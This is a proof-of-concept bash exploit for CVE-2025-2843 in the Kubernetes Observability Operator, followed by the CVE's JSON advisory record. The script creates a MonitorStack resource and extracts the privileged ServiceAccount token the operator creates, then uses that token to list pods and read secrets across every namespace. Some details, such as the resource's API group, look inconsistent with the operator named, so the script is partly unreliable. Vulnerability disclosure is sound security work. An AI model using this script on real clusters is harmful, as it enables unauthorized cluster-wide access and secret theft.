CVE-2025-2843

#!/bin/bash # CVE-2025-2843 PoC - Observability Operator MonitorStack Privilege Escalation # This PoC demonstrates how a namespace-privileged user can escalate to cluster-admin # Configuration NAMESPACE="monitoring" MONITORSTACK_NAME="malicious-monitorstack" # Step 1: Create a MonitorStack resource in the target namespace cat <<EOF | kubectl apply -f - apiVersion: monitoring.googleapis.com/v1alpha1 kind: MonitorStack metadata: name: ${MONITORSTACK_NAME} namespace: ${NAMESPACE} spec: prometheus: version: v2.45.0 retention: 30d EOF # Step 2: Wait for the Operator to create the privileged ServiceAccount echo "[*] Waiting for Operator to process MonitorStack..." sleep 10 # Step 3: List ServiceAccounts to find the created privileged account echo "[*] Enumerating ServiceAccounts in ${NAMESPACE}..." kubectl get serviceaccounts -n ${NAMESPACE} # Step 4: Find the ClusterRoleBinding created by the Operator echo "[*] Checking ClusterRoleBindings..." kubectl get clusterrolebindings | grep -i monitorstack # Step 5: Get the token of the privileged ServiceAccount SERVICE_ACCOUNT=$(kubectl get serviceaccounts -n ${NAMESPACE} -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep -i monitorstack | head -1) if [ -n "$SERVICE_ACCOUNT" ]; then echo "[*] Found privileged ServiceAccount: ${SERVICE_ACCOUNT}" # Get the token TOKEN=$(kubectl get secret -n ${NAMESPACE} $(kubectl get serviceaccount ${SERVICE_ACCOUNT} -n ${NAMESPACE} -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d) echo "[*] Extracted token for privilege escalation" # Step 6: Use the token to impersonate cluster-admin echo "[*] Demonstrating privilege escalation..." kubectl --token=${TOKEN} auth can-i --list --all-namespaces fi # Step 7: Verify cluster-wide access echo "[+] Checking cluster-wide permissions..." kubectl get pods --all-namespaces --token=${TOKEN} kubectl get secrets --all-namespaces --token=${TOKEN} echo "[!] If you can see resources from all namespaces, privilege escalation succeeded!"

{"cve": {"id": "CVE-2025-2843", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:37.550", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the Observability Operator. The Operator creates a ServiceAccount with *ClusterRole* upon deployment of the *Namespace-Scoped* Custom Resource MonitorStack. This issue allows an adversarial Kubernetes Account with only namespaced-level roles, for example, a tenant controlling a namespace, to create a MonitorStack in the authorized namespace and then elevate permission to the cluster level by impersonating the ServiceAccount created by the Operator, resulting in privilege escalation and other issues."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:21146", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-2843", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2355222", "source": "[email protected]"}]}}